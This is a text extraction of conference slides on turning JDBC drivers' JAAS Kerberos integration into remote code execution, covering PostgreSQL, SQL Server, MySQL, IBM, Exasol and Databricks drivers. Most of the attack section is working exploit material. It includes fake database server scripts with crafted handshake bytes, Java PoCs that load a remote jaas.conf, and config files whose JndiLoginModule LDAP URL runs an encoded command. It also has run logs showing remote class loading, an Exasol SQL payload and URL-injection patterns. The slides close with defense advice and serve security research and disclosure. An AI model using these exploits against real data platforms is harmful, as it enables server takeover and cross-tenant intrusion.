- **GSSAPI authentication**, which relies on a GSSAPI-compatible security library. Typically this is used to access an authentication server.
- **SSPI authentication**, which uses a Windows-specific protocol similar to GSSAPI.
- **Ident authentication**, which relies on an "Identification Protocol" ([RFC 1413](#)) service on the client's machine. (On local Unix-socket connections)
- **Peer authentication**, which relies on operating system facilities to identify the process at the other end of a local connection. This is not available on Windows.
- **LDAP authentication**, which relies on an LDAP authentication server.
- **RADIUS authentication**, which relies on a RADIUS authentication server.
- **Certificate authentication**, which requires an SSL connection and authenticates users by checking the SSL certificate they send.
- **PAM authentication**, which relies on a PAM (Pluggable Authentication Modules) library.
- **BSD authentication**, which relies on the BSD Authentication framework (currently available only on OpenBSD).



The only thing we need to do is to let the client use GSSAPI authentication



But how can we specify the authentication method used by the client

# Take Another Look at the JDBC Driver

```
1  private void doAuthentication(PGStream pgStream, String host, String user, Properties info) throws
  IOException, SQLException {
2      int beresp = pgStream.receiveChar();
3      switch (beresp) {
4          case 69:
5              ...
6          case 82:
7              int msgLen = pgStream.receiveInteger4();
8              int areq = pgStream.receiveInteger4();
9              switch (areq) {
10                 ...
11                 case 9:
12                     ...
13                     MakeGSS.authenticate(false, pgStream, host, user, password,
PGProperty.JAAS_APPLICATION_NAME.getOrDefault(info), PGProperty.KERBEROS_SERVER_NAME.getOrDefault(info),
usesnego, PGProperty.JAAS_LOGIN.getBoolean(info), PGProperty.GSS_USE_DEFAULT_CREDS.getBoolean(info),
PGProperty.LOG_SERVER_ERROR_DETAIL.getBoolean(info));
14                     ...
15     }
16 }
```



## How to Trigger



1. Run an evil PG server



# Server Implementation

```
1 import socket, binascii, os
2
3 def receive_data(conn):
4     data = conn.recv(1024)
5     print("[*] Receiving the package : {}".format(data))
6     return str(data).lower()
7
8 def send_data(conn, data):
9     print("[*] Sending the package : {}".format(binascii.a2b_hex(data)))
10    conn.send(binascii.a2b_hex(data))
11
12 def run():
13     nossl = "4e"
14     kerb_login = "52000000c0000007cb99217e"
15     while 1:
16         conn, addr = sk.accept()
17         print("Connection come from {}:{}".format(addr[0], addr[1]))
18         receive_data(conn)
19         send_data(conn, nossl)
20         data = receive_data(conn)
21         send_data(conn, kerb_login)
22         data = receive_data(conn)
23         print(data)

1 if __name__ == '__main__':
2     HOST = '0.0.0.0'
3     PORT = 3307
4     sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5     sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
6     sk.bind((HOST, PORT))
7     sk.listen(1)
8     print("start evil pgsql server listening on {}:{}".format(HOST, PORT))
9     run()
10
```



## How to Trigger



2. How to set the evil JAAS config?



# Dive Deep Into the JAAS

```
1 public LoginContext(String name, CallbackHandler callbackHandler)
2     throws LoginException {
3     init(name);
4     if (callbackHandler == null)
5         throw new LoginException(ResourcesMgr.getString
6             ("invalid.null.CallbackHandler.provided"));
7     this.callbackHandler = new SecureCallbackHandler
8         (java.security.AccessController.getContext(),
9         callbackHandler);
10 }
```



# javax.security.auth.login.LoginContext

```
1  private void init(String name) throws LoginException {  
2  
3      // get the Configuration  
4      if (config == null) {  
5          config = java.security.AccessController.doPrivileged  
6              (new java.security.PrivilegedAction<Configuration>() {  
7                  public Configuration run() {  
8                      return Configuration.getConfiguration();  
9                  }  
10             });  
11     }
```



# javax.security.auth.login.Configuration

```
1  public static Configuration getConfiguration() {  
2  
3      synchronized (Configuration.class) {  
4          if (configuration == null) {  
5              String config_class = null;  
6              config_class = AccessController.doPrivileged  
7                  (new PrivilegedAction<String>() {  
8                      public String run() {  
9                          return java.security.Security.getProperty  
10                             ("login.configuration.provider");  
11                     }  
12                 });  
13                 if (config_class == null) {  
14                     config_class = "sun.security.provider.ConfigFile";  
15                 }  
16  
17                 final String finalClass = config_class;  
18                 Configuration untrustedImpl = AccessController.doPrivileged(  
19                     new PrivilegedExceptionAction<Configuration>() {  
20                         public Configuration run() throws ClassNotFoundException,  
21                             InstantiationException,  
22                             IllegalAccessException {  
23                             Class<? extends Configuration> implClass = Class.forName(  
24                                 finalClass, false,  
25                                 Thread.currentThread().getContextClassLoader()  
26                                 .asSubclass(Configuration.class);  
27                         return implClass.newInstance();  
28                     }  
29                 );  
30             }  
31         }  
32     }  
33 }
```



# sun.security.provider.ConfigFile

```
1  public final class ConfigFile extends Configuration {  
2      private final Spi spi = new Spi();  
3  
4      public ConfigFile() {  
5          }  
6  
7      public static final class Spi extends ConfigurationSpi {  
8  
9          public Spi() {  
10              this.init();  
11          }  
12  
13          private void init() throws IOException {  
14  
15              String var5 = System.getProperty("java.security.auth.login.config");  
16              if (var5 != null) {  
17                  ....  
18                  var7 = new URL(var5);  
19                  this.init(var7, var3);  
20                  var1 = true;  
21                  this.configuration = var3;  
22                  return;  
23              }  
24          }  
25      }  
26  }
```



# What Is More?

## **sun.security.provider.ConfigFile**

```
1  boolean var1 = false;
2  HashMap var3 = new HashMap();
3
4  String var5 = System.getProperty("java.security.auth.login.config");
5  if (var5 != null) {
6      URL var7 = new URL(var5);
7      this.init(var7, var3);
8      var1 = true;
9  }
10
11 int var13;
12 String var14;
13 for(var13 = 1; (var14 = Security.getProperty("login.config.url." + var13)) != null; ++var13) {
14     this.init(new URL(var14), var3);
15     var1 = true;
16 }
17
18 if (!var1 && var13 == 1 && var14 == null) {
19     var14 = System.getProperty("user.home");
20     String var15 = var14 + File.separatorChar + ".java.login.config";
21     if ((new File(var15)).exists()) {
22         this.init((new File(var15)).toURI().toURL(), var3);
23     }
24 }
25 }
```



PoC

```
1 public static void main(String[] args) throws Exception {
2     System.setProperty("java.security.auth.login.config","http://127.0.0.1:8000/jaas.conf");
3     String url ="jdbc:postgresql://127.0.0.1:3307/";
4     DriverManager.getConnection(url);
5 }
```

## jaas.conf

```
1 pgjdbc {
2     com.sun.security.auth.module.JndiLoginModule required
3     user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"
4     tryFirstPass="true"
5     group.provider.url="xxx";
6 };
```



## Run the PoC

```
[xuemo@U-4H3DQ6JW-0044 fake-server % python3 pg-exp.py
start fake pg server listening on 0.0.0.0:3307
Connection come from 127.0.0.1:53356
[*] Receiveing the package : b'\x00\x00\x00\x08\x04\xd2\x16/'
[*] Sending the package : b'N'
[*] Receiveing the package : b'\x00\x00\x00]\x00\x03\x00\x00user\x00xuemo\x00database\x00xuemo\x00client_encoding\x00UTF8\x00DateStyle\x00ISO\x00TimeZ
[*] Sending the package : b'R\x00\x00\x00\x0c\x00\x00\x00\x00\x07\xcb\x99!~'
[*] Receiveing the package : b''
b''
```


```
[xuemo@U-4H3DQ6JW-0044 conf % python3 -m http.server 8000
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [02/Apr/2025 15:19:28] "GET /jaas.conf HTTP/1.1" 200 -
```



# RCE!

```
[xuemo@U-4H3DQ6JW-0044 tools % java -jar JNDIMap-0.0.1.jar
[RMI] Listening on 127.0.0.1:1099
[HTTP] Listening on 127.0.0.1:3456
[LDAPS] jks file is not specified, skipping to start LDAPS server
[LDAP] Listening on 127.0.0.1:1389

[LDAP] Received query: /Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y
[Command] Cmd: open -a Calculator
[Reference] Remote codebase: http://127.0.0.1:3456/
[LDAP] Sending Reference object (remote codebase)
[HTTP] Receive request: /Exploit_h0oBgi5nTfdv.class
```





# Exploit Video

A screenshot of a code editor interface, likely IntelliJ IDEA, showing a Java configuration file named `jaas.conf`. The file contains the following code:


```
pgidbc {  
    com.sun.security.auth.module.JndiLoginModule required  
    user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYlxjdWxhdG9y"  
    tryFirstPass="true"  
    group.provider.url="xxx";  
}  
|
```

The code defines a security realm named `pgidbc` using the `JndiLoginModule`. It specifies an LDAP URL and enables the `tryFirstPass` option. A placeholder URL is provided for the group provider. The code editor shows syntax highlighting for Java and XML-like structures.

7:1 LF UTF-8 4 spaces



# Exploit Flow





# Controllable System Property





```
1 public static void main(String[] args) throws Exception {  
2     String jdbcUrl = "jdbc:sqlserver://127.0.0.1:3307;encrypt=False;  
3     integratedSecurity=true;authenticationScheme=JavaKerberos;realm=a;"  
4     System.setProperty("java.security.auth.login.config", "http://localhost:8000/jaas.conf");  
5     DriverManager.getConnection(jdbcUrl);  
6 }
```

## jaas.conf

```
1 SQLJDBCDriver {  
2     com.sun.security.auth.module.JndiLoginModule required  
3     user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"  
4     tryFirstPass="true"  
5     group.provider.url="xxx";  
6 };
```



```
1 import socket
2 import binascii
3
4
5 def receive_data(conn):
6     data = conn.recv(1024)
7     print("[*] Receiveing the package : {}".format(data))
8     return str(data).lower()
9
10 def send_data(conn,data):
11     print("[*] Sending the package : {}".format(binascii.a2b_hex(data)))
12     conn.send(binascii.a2b_hex(data))
13
14 def run():
15
16     while 1:
17         conn, addr = sk.accept()
18         print("Connection come from {}:{}".format(addr[0],addr[1]))
19
20         receive_data(conn)
21         poc="0401001f00000100000010000601001600010500170000ff1000101d000002"
22         send_data(conn,poc)
23         data=receive_data(conn)
24         print(data)
```

```
1 if __name__ == '__main__':
2     HOST ='0.0.0.0'
3     PORT = 3307
4
5     sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6     sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
7     sk.bind((HOST, PORT))
8     sk.listen(1)
9
10    print("start fake mssql server listening on {}:{}.".format(HOST,PORT))
11    run()
```



# CVE-2025-30706



```
1 public static void main(String[] args) throws Exception {  
2     System.setProperty("java.security.auth.login.config","http://127.0.0.1:8000/jaas.conf");  
3     String url="jdbc:mysql://127.0.0.1:3307/test";  
4     DriverManager.getConnection(url);  
5 }
```

## jaas.conf

```
1 MySQLConnectorJ {  
2     com.sun.security.auth.module.JndiLoginModule required  
3     user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"  
4     tryFirstPass="true"  
5     group.provider.url="xxx";  
6 };
```



# CVE-2025-30706



```
1 def run():
2
3     while 1:
4         conn, addr = sk.accept()
5         print("Connection come from {}:{}".format(addr[0],addr[1]))
6
7         kerberos_login='authentication_kerberos_client'
8         data_len = str(hex(len(kerberos_login) -21+74)).replace('0x', '').zfill(2)
9         part1=data_len+"0000000a352e372e34340005000000390722706f23525800fff7080200ffc1"
10        part2="15"+"00000000000000000000007535702c590807047b2e1e1900"
11        part3=kerberos_login.encode('utf-8').hex()+"00"
12        poc=part1+part2+part3
13
14        send_data(conn,poc)
15        data=receive_data(conn)
16        print(data)
```



But we need to control the  
System Property



Does there exist easier way to exploit?




# Sinks

```
1 new LoginContext(...).login()
2
3 System.setProperty("java.security.auth.login.config", "http://...");  
4
5 Security.setProperty("login.config.url.1", "http://...");
```



# Analyze the JDBC Drivers





## Affected Vendors



CLOUDERA

Hive, Impala

Exasol

 insightsoftware

Hive, Spark



Hive, Impala, Spark





## Affected Vendors



**CVE-2024-49194**



**CVE-2024-54660**



**CVE-2024-55551**



**CVE-2024-45199, CVE-2024-45198**



**CNVD-2024-38170**



**CVE-2024-52899**

**CNVD-2024-38171**

Reset Filters  Connectors All Showing 25 of 55

 Simba MongoDB	 Simba SDK – Custom ODBC and JDBC Driver	 Salesforce SAP Data Services Connectivity	 Trino ODBC & JDBC Drivers	 Apache Druid ODBC Driver
 Presto Drivers for ODBC & JDBC	 Apache Spark ODBC and JDBC Drivers	 Salesforce ODBC & JDBC Driver	 Simba Workday	 AdvancedMD ODBC & JDBC Driver

# Affected JDBC Drivers



Hive ODBC & JDBC Driver



Apache Spark ODBC and  
JDBC Drivers

CVE-2024-45199

CVE-2024-45198



Impala ODBC and JDBC  
Driver



Presto Drivers for ODBC &  
JDBC



Trino ODBC & JDBC Drivers



# CVE-2024-52899



## Summary

IBM Data Virtualization Manager for z/OS has a remote code execution (RCE) vulnerability.

## Vulnerability Details

**CVEID:** [CVE-2024-52899](#)

**DESCRIPTION:** IBM Data Virtualization Manager for z/OS could allow an authenticated user to inject malicious JDBC URL parameters and execute code on the server.

**CWE:** [CWE-93: Improper Neutralization of CRLF Sequences \('CRLF Injection'\)](#)

**CVSS Source:** IBM

**CVSS Base score:** 8.5

**CVSS Vector:** (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)



# Support Setting the System Property

## com.rs.jdbc.dv.DvDataSource

```
1  @ConnectionProperty(  
2      name = "JaasLoginConfigFile",  
3      description = "Pathname of the JAAS login.conf file (effectively sets: java.security.auth.login.config  
system property).",  
4      aliases = {"LOGINCFG"}  
5  )  
6  private String jaasLoginConfigFile;  
7  
8  void overrideSystemProperties() {  
9      this.setSystemProperty("java.security.auth.login.config", this.jaasLoginConfigFile);  
10     this.setSystemProperty("java.security.krb5.conf", this.kerberosConfigFile);  
11     this.setSystemProperty("java.security.krb5.realm", this.kerberosRealm);  
12     this.setSystemProperty("java.security.krb5.kdc", this.kerberosKdc);  
13 }
```



Easier to exploit!!



# How to trigger?



# Analyze

## com.rs.jdbc.dv.DvConnection

```
1 DvConnection<C>.LogonResult kerberosLogon(final DvCredentials dvCredentialsArg, final int mrConnectionCount)
throws SQLException, IOException {
2     final DvDataSource dvDataSource = this.getDvDataSource();
3     Subject kerberosSubject = new Subject();
4
5     try {
6         LoginContext lc = new LoginContext("com.rs.jdbc.dv", kerberosSubject, new CallbackHandler() {
7             public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
8                 ...
9             }
10            });
11            lc.login();
```



# Who Call It?

## com.rs.jdbc.dv.DvConnection

```
1 void connect(DvCredentials dvCredentialsArg) throws IOException, SQLException {
2     ...
3     DvDataSource dvDataSource = this.getDvDataSource();
4     ...
5     LogonResult logonResult;
6     if (dvDataSource.getAuthenticationMechanism().equalsIgnoreCase("AES")) {
7         logonResult = this.aesLogon(dvCredentialsArg);
8     } else if (dvDataSource.getAuthenticationMechanism().equalsIgnoreCase("KERBEROS")) {
9         logonResult = this.kerberosLogon(dvCredentialsArg.getNotUpperCased(), mrConnectionCount);
10    } else {
11        if (!dvDataSource.getAuthenticationMechanism().equalsIgnoreCase("DEFAULT")) {
12            this.info("Requested authentication mechanism is unknown: %s. Will use DEFAULT. ",
13             dvDataSource.getAuthenticationMechanism());
14        }
15        logonResult = this.ordinaryLogon(dvCredentialsArg, mrConnectionCount);
16    }
```

```
1 @ConnectionProperty(
2     name = "AuthenticationMechanism",
3     description = "Mechanism for encrypting passwords, choices are DEFAULT or AES.",
4     aliases = {"ATHM"}
5 )
6 private String authenticationMechanism;
```



# Another Check

## **com.rs.jdbc.dv.DvCredentials**

```
1 static DvCredentials createDvCredentials(String user, String password, boolean upperCasePassword) throws
2   SQLException {
3     Checker.checkNotNull("user", user);
4     Checker.checkNotNull("password", password);
5     DvCredentials notCased = new DvCredentials(user, password.toCharArray(), (DvCredentials)null);
6     String serverUser = upperCasePassword ? Strings.toNeutralUpperCase(user) : user;
7     String serverPassword = upperCasePassword ? Strings.toNeutralUpperCase(password) : password;
8     return new DvCredentials(serverUser, serverPassword.toCharArray(), notCased);
9 }
```

```
1 @ConnectionProperty(  
2     name = "user",  
3     description = "User.",  
4     aliases = {"UID"}  
5 )  
6 private String user;  
7  
8 @ConnectionProperty(  
9     name = "password",  
10    description = "Password or PassPhrase.",  
11    hidden = true,  
12    aliases = {"PWD", "PassPhrase"}  
13 )  
14 private char[] password;
```



```
1 public static void main(String[] args) throws Exception{
2     Class.forName("com.rs.jdbc.dv.DvDataSource");
3     String url = "jdbc:rs:dv://127.0.0.1:8000; JaasLoginConfigFile=http://127.0.0.1:8000/ibm.conf;
4     user=test;password=test;AuthenticationMechanism=KERBEROS;";
5     DriverManager.getConnection(url);
6 }
```

## ibm.conf

```
1 com.rs.jdbc.dv {
2     com.sun.security.auth.module.JndiLoginModule required
3     user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"
4     tryFirstPass="true"
5     group.provider.url="xxx";
6 };
```



# Exploit Video


The screenshot shows a Java code editor interface with a dark theme. The top bar includes tabs for 'poc' and 'Version control'. The left sidebar shows a file tree with 'dv.java' and 'ibm.conf' selected. The main editor area contains the following Java code:

```
1 import java.sql.DriverManager;
2
3 public class dv {
4     public static void main(String[] args) throws Exception{
5         Class.forName( className: "com.rs.jdbc.dv.DvDataSource");
6         String url = "jdbc:rs:dv://127.0.0.1:8000; JaasLoginConfigFile=http://127.0.0.1:8000/ibm.conf;user=test;password=test;AuthenticationMechanism=KERBEROS";
7         DriverManager.getConnection(url);
8     }
9 }
```

The bottom status bar indicates the file is 9:2 LF, UTF-8, 4 spaces, and has a save icon.



# Exploit Flow





都有自己 🤪 These vulnerabilities are all due to the  
insecure integration of JAAS



🤷‍♂️ Perhaps there are still some omissions,  
waiting for you to discover



**OFF-BY-ONE  
2025**


# 05 Impact



Which applications are exposed to JDBC vulnerabilities?







# 1. Data Processing





## 2. Data Visualization

# WHAT IS DATA VISUALIZATION?





# Affected Services

**Community/Commercial products**



**Cloud vendors**





# Community/Commercial Products



## Talend Data Fabric

Get more value from your data with complete, flexible, trusted data management



## Power BI

Connect to and visualize any data, and seamlessly infuse visuals into the apps you use every day.



# Feature

< ADD DATABASE TEMPLATE

MAIN DRIVER PROPERTIES ACCESS

**Driver**  
Azure Databricks

**JDBC URL**  
jdbc:databricks://localhost:10002;AuthMech=1;httpPath=test;KrbHostFQDN...

**AUTHENTICATION**  
Database Native

**User name** **User password**

**Connection name \***  
jdbc:databricks://localhost:10002;AuthMech=1;httpPath=test;KrbHostFQDN...

**Description**



# Just Test the Connection



## 1. Request for JAAS configuration

```
python3 -m http.server 8888
http://0.0.0.0:8888/) ...
6] "GET /jaas.conf HTTP/1.1"
```

## 2. Send the JNDI request

```
Listening on 0.0.0.0 6666
Connection received on 172
JRMIK
```



**If the server runs on an old JDK (<8u191),  
we can easily achieve RCE by remote class loading**



**If not,  
just try to find a Deserialization Gadget Chain**



The screenshot shows the GitHub repository page for ysoserial. At the top, there are links for 'README' and 'MIT license'. The repository name 'ysoserial' is displayed prominently. Below the repository name, there are four badge boxes: 'downloads@latest 204k', 'build passing', 'build passing', and 'JitPack 0.0.6'. A descriptive text box states: 'A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.' The page also features a large code snippet representing Java byte code.

<https://github.com/frohoff/ysoserial>

# Cloud Vendors





# Feature

## New Data Connection

Data Source Type



MySQL



PostgreSQL

\* name

\* Host

\* Port

\* Username

\* Password



## Two Common Vulnerable Implementations


```
1 String jdbcurl = "${User_Input}";  
2 DriverManager.getConnection(jdbcurl);
```

```
1 String Host = "${User_Input}";  
2 String Port = "${User_input}";  
3 String Dbname = "${User_input}";  
4 DriverManager.getConnection(  
5     "jdbc:mysql://" + Host + ":" + Port + "/" + Dbname);
```

```
1 host=127.0.0.1&port=3306&dbname="test?a=1&b=1"
```




# Take Over the Executor





# Cross-Tenant Attack





What else?

# • Database Usually Supports External Data Source

## Syntax for SQL Server 2022 and later

For more information about the syntax conventions, see [Transact-SQL syntax conventions](#).

```
syntaxsql Copy
CREATE EXTERNAL DATA SOURCE <data_source_name>
WITH
    ( [ LOCATION = '<prefix>://<path>[:<port>]' ]
      [ [ , ] CONNECTION_OPTIONS = '<key_value_pairs>'[,...]]]
      [ [ , ] CREDENTIAL = <credential_name> ]
      [ [ , ] PUSHDOWN = { ON | OFF } ]
    )
[ ; ]
```

# • Database Usually Supports External Data Source

External Data Source	Connector <b>location</b> <b>prefix</b>	Location path
Azure Storage Account(V2)	<code>abs</code>	<code>abs://&lt;container_name&gt;@&lt;storage_account_name&gt;.blob.core.windows.net/</code> or <code>abs://&lt;storage_account_name&gt;.blob.core.windows.net/&lt;container_name&gt;</code>
Azure Data Lake Storage Gen2	<code>adls</code>	<code>adls://&lt;container_name&gt;@&lt;storage_account_name&gt;.dfs.core.windows.net/</code> or <code>adls://&lt;storage_account_name&gt;.dfs.core.windows.net/&lt;container_name&gt;</code>
SQL Server	<code>sqlserver</code>	<code>&lt;server_name&gt;[\&lt;instance_name&gt;][:port]</code>

If a database supports the vulnerable JDBC driver,  
we can achieve RCE





# Exasol Supports

## Examples

```
CREATE CONNECTION exa_connection
  TO '192.168.6.11,192.168.6.12:8563;HostTimeOut=1000;Encryption=Y'
  USER 'my_user'
  IDENTIFIED BY 'my_secret';
```

SQL

```
CREATE CONNECTION ora_connection TO '(DESCRIPTION =
  (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.6.54)(PORT = 1521))
  (CONNECT_DATA = (SERVER = DEDICATED)(SERVICE_NAME = orcl)))';
```

SQL

```
CREATE CONNECTION jdbc_connection_1
  TO 'jdbc:mysql://192.168.6.1/my_db';
```

SQL

```
CREATE CONNECTION jdbc_connection_2
  TO 'jdbc:postgresql://192.168.6.2:5432/my_db?stringtype=unspecified';
```



# Databricks Also Supports

Create an external table against another Databricks workspace

You can register an external table in a Databricks workspace linked to a separate Databricks workspace.

The following example demonstrates this syntax, using the `secret` function to get credentials stored with Databricks secrets:

**NOTE**

For more on Databricks secrets, see [secret function](#).

SQL

```
CREATE TABLE databricks_external_table
USING databricks
OPTIONS (
  host '<host-name>.cloud.databricks.com',
  httpPath '/sql/1.0/warehouses/<warehouse-id>',
  personalAccessToken secret('<scope>', '<token>'),
  dbtable '<table-name>'
);
```




PoC

```
1 CREATE OR REPLACE CONNECTION jdbc_connection_2
2   TO 'jdbc:exa:172.17.0.1:3307;
3   kerberosgssconfig=http://172.17.0.1:8888/jaas.conf;
4   kerberosusername=a;encryption=false;kerberosusername=test@test';  
  
1 SELECT * FROM
2 (IMPORT FROM JDBC AT jdbc_connection_2
3   STATEMENT 'select ''Connection works''''
4 );
```

# Honeypot



# Honeypot





# Excited to Try

The image shows two overlapping windows from a JDBC connection configuration tool.

**Generic JDBC Connection Settings** window:

- Icon: A red cube icon representing Databricks.
- Title: "Generic JDBC Connection Settings" and "Azure Databricks connection settings".
- Tabs: Main (selected), Driver properties, SSH.
- Buttons: Network configurations...
- General** section:
  - JDBC URL: `jdbc:databricks://127.0.0.1:8000;AuthMech=1;KrbAuthType=1;krbJAASFile=http://www.goog1`
- Authentication (Database Native)** section:
  - Username: [empty input]
  - Password: [empty input]  Save password

**Edit Driver 'Azure Databricks'** window:

- Icon: A red cube icon representing Databricks.
- Title: "Edit Driver 'Azure Databricks'"
- Tabs: Settings (selected), Libraries, Default properties, Advanced parameters.
- Driver Name: Azure Databricks
- Driver Type: Azure Databricks
- Class Name: `com.databricks.client.jdbc.Driver`





**OFF-BY-ONE**  
**2025**

# 06

## Defense & Summary



# Defense



Applications

- **Do not trust inputs from users.**
- **Actively update Java libs.**

integrate  
↓



Java libs

- **Disallow dangerous LoginModules, or only permit trusted ones.**

integrate  
↓



JAAS (JDK)

- **Disallow loading JAAS config remotely.**
- **Disable dangerous LoginModules by default.**



## Takeaways

- **Know how to use JAAS and how it works**
- **Know some vulnerabilities about JAAS and their root causes**
- **Acquire a new JDBC attack**
- **Know the impact of JDBC vulnerabilities**
- ...



# Q&A



**OFF-BY-ONE  
2025**

2025  
Thanks